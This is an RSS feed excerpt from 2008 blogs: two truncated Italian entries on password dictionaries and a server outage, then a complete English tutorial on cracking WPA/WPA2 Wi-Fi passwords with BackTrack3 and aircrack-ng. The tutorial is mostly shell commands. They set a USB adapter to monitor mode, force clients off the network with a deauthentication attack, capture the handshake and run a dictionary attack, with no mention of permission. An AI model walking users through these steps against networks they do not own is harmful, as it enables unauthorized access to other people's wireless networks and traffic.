<content:encoded><![CDATA[Leggendo un pò di post qua e la nella rete, mi sono imbattuto spesso in dissertazioni varie sul pack]]></content:encoded>
</item>
<item>
<title><![CDATA[COMUNICAZIONE DI SERVIZIO - Server U-CLAN is OUT OF SERVICE]]></title>
<link>http://pistulunestaminchiazza.wordpress.com/2008/11/11/comunicazione-di-servizio-server-u-clan-is-out-of-service/</link>
<pubDate>Tue, 11 Nov 2008 13:05:00 +0000</pubDate>
<dc:creator>U-Black</dc:creator>
<guid>http://pistulunestaminchiazza.wordpress.com/2008/11/11/comunicazione-di-servizio-server-u-clan-is-out-of-service/</guid>
<description><![CDATA[Ragazzi&#8230;sono costretto a comunicarvi che il server dal quale vi davo la possibilità di scarica]]></description>
<content:encoded><![CDATA[Ragazzi&#8230;sono costretto a comunicarvi che il server dal quale vi davo la possibilità di scarica]]></content:encoded>
</item>
<item>
<title><![CDATA[Aircrack-NG e John The Ripper - Dizionario Password]]></title>
<link>http://pistulunestaminchiazza.wordpress.com/2008/11/10/aircrack-ng-e-john-the-ripper-dizionario-password/</link>
<pubDate>Mon, 10 Nov 2008 19:41:50 +0000</pubDate>
<dc:creator>U-Black</dc:creator>
<guid>http://pistulunestaminchiazza.wordpress.com/2008/11/10/aircrack-ng-e-john-the-ripper-dizionario-password/</guid>
<description><![CDATA[Visto che l&#8217;articolo su Aircrack-NG e il wpa cracking sono risultati molto popolari, mi sono p]]></description>
<content:encoded><![CDATA[Visto che l&#8217;articolo su Aircrack-NG e il wpa cracking sono risultati molto popolari, mi sono p]]></content:encoded>
</item>
<item>
<title><![CDATA[BackTrack3 : Aircrack-ng with RT73 (WUSB54GC)]]></title>
<link>http://vpoint7.wordpress.com/2008/09/02/rt73-with-backtrack3/</link>
<pubDate>Tue, 02 Sep 2008 11:05:11 +0000</pubDate>
<dc:creator>DeathOwl</dc:creator>
<guid>http://vpoint7.wordpress.com/2008/09/02/rt73-with-backtrack3/</guid>
<description><![CDATA[Note : As mention before, BT3 failed to dual boot in F80S, all scenario here is applied in VMware Wo]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><span style="color:red;">Note : As mention before, BT3 failed to dual boot in F80S, all scenario here is applied in VMware Workstation in F80S. The main advantage of this solution is that you now can copy the VMware image to different notebooks or desktop computers running all kinds of operating systems and hardware configurations.</span></p>
<p><span style="color:#800080;">BT3 in VMware does not have internet connectivity, what should i do?</span><br />
VMware itself have limitation on using internal/external devices such PCMCIA/PCI/PCI-Express but allow USB insertion. Therefore, get yourself a USB dongle that allow us to get connected to the net. We have a lot choices on USB dongle model that works on BT3, and I choose Alfa Network AWUS036H (RTL8187L) &#38; Linksys WUSB54GC (RT73). In this post, I will show an example on how to use a Linksys WUSB54GC card with BT3. </p>
<p><span style="color:#800080;">How to connect Linksys WUSB54GC with my BT3 in VMware?</span><br />
VMware will not automatically connect any external devices. To begin, load your BT3 completely, plug-in the Linksys WUSB54GC on the USB port. Now click on Vmware menu VM &#62; Removable Devices &#62; USB Devices &#62; Linksys USB Device (Port 1). You are now ready to use the device and connected to the internet without installing any drivers for it. WUSB54GC card works out of the box in BT3.</p>
<p><span style="color:#800080;">How to make sure that the device is connected?</span><br />
Open shell konsole in BT3, type <font color="FF4500">ifconfig -a</font> and you should see rausb0 for Linksys WUSB54GC [If you are using Alfa AWUS036H, you should see wlan0] ;</p>
<p><img src="http://vpoint7.files.wordpress.com/2008/12/ifconfig.jpg" alt="" /></p>
<p><span style="color:#800080;">Is it possible to crack wireless connection with Linksys WUSB54GC and how to start?</span><br />
Absolutely, to begin, we have to get some updates on the driver which is Ralink RT73 chipset for Linksys WUSB54GC and BT3 kernel. Open shell konsole, type<br />
bt ~ # <font color="FF4500">wget http://homepages.tu-darmstadt.de/~p_larbig/wlan/rt73-k2wrlz-3.0.1.tar.bz2</font><br />
bt ~ # <font color="FF4500">wget http://www.offensive-security.com/kernel.lzm</font>, you should see this,</p>
<p><img src="http://vpoint7.files.wordpress.com/2008/12/drivers.jpg" alt="" /></p>
<p>You may also get other drivers for different USB dongle model at http://homepages.tu-darmstadt.de/~p_larbig/wlan/</p>
<p>Note that the driver version is 3.0.1 and the format is *.bz2. We need to extract the file, on the same konsole, type<br />
bt ~ # <font color="FF4500">tar -xvjf rt73-k2wrlz-3.0.1.tar.bz2</font><br />
bt ~ # <font color="FF4500">ifconfig rausb0 down</font><br />
bt ~ # <font color="FF4500">lzm2dir kernel.lzm /</font></p>
<p>After that, we navigate to the extracted files, by typing<br />
bt ~ # <font color="FF4500">cd rt73-k2wrlz-3.0.1/Module</font><br />
bt Module # <font color="FF4500">make</font><br />
bt Module # <font color="FF4500">make install</font><br />
bt Module # <font color="FF4500">cd</font><br />
bt ~ # <font color="FF4500">modprobe rt73</font><br />
bt ~ # <font color="FF4500">ifconfig rausb0 up</font></p>
<p>Therefore, we are ready to crack some wireless line within certain distance. In this example, we are trying to crack WPA/WPA2 networks. Continue,<br />
bt ~ # <font color="FF4500">iwconfig rausb0 mode monitor rate 1M</font><br />
bt ~ # <font color="FF4500">iwconfig</font></p>
<p>Up until here, you will see rausb0 with bit rate=1Mb/s, cont.,<br />
bt ~ # <font color="FF4500">iwpriv forceprism 1</font><br />
forceprism no private ioctls<br />
bt ~ # <font color="FF4500">iwpriv rausb0 forceprism 1</font><br />
bt ~ # <font color="FF4500">iwpriv rausb0 rfmontx 1</font><br />
bt ~ # <font color="FF4500">airodump-ng rausb0</font></p>
<p><img src="http://vpoint7.files.wordpress.com/2008/12/bt3-4.jpg" alt="" /></p>
<p>Then, CTRL+C to stop, now we have an AP has essid called home with the MAC address 00:1D:7E:64:88:B5 on channel 11, so on new konsole we type,<br />
bt ~ # <font color="FF4500">airodump-ng -c 11 -w /tmp/dmp rausb0</font></p>
<p>As for now, wait for 10seconds to make sure WPA Handshake appear on the top right side of the konsole. If it does not appear, follow step (1) cont. with step (2), if it does follow step (2) and ignore the step (1),<br />
Step (1),<br />
Open new shell konsole, type,<br />
bt ~ # <font color="FF4500">aireplay-ng 0 -5 -a 00:1D:7E:64:88:B5 rausb0</font><br />
The 00:1D:7E:64:88:B5 is the AP MAC address. As you activate this command, notice the first konsole will have WPA handshake on top right.</p>
<p>Step (2),<br />
Now we get our WPA handshake, press CTRL+C, as for WPA/WPA2 cracking, number of packets does not mean anything for the cracking purpose. Open new konsole,<br />
bt ~ # <font color="FF4500">aircrack-ng -w mangled.lst -b 00:1D:7E:64:88:B5 /tmp/dmp-01.cap</font><br />
The mangled.lst is a dictionary file and it could be any name depending on your dictionary file, and the 00:1D:7E:64:88:B5 is the AP MAC address. You should see a calculating window once you execute this command such below image,</p>
<p><img src="http://vpoint7.files.wordpress.com/2008/12/bt3-5.jpg" alt="" /></p>
<p><span style="color:#800080;">Are there any different between WPA and WPA2 cracking?</span><br />
No. Same method of cracking is applied for both type of encryption.</p>
<p><span style="color:#800080;">Should I stop cracking calculation if the AP is off?</span><br />
No, because we are cracking offline. You may continue until key is obtained.</p>
<p><span style="color:#800080;">Do you have video approach about cracking WEP/WPA?</span><br />
Yep, you may download some of my vids <a href="http://vpoint7.wordpress.com/2008/12/31/wireless-cracking-video-is-up">HERE</a><a href="http://www4.clustrmaps.com/counter/maps.php?url=http://vpoint7.wordpress.com/" id="clustrMapsLink">.<br />
</a></p>
</div>]]></content:encoded>
</item>

</channel>
</rss>
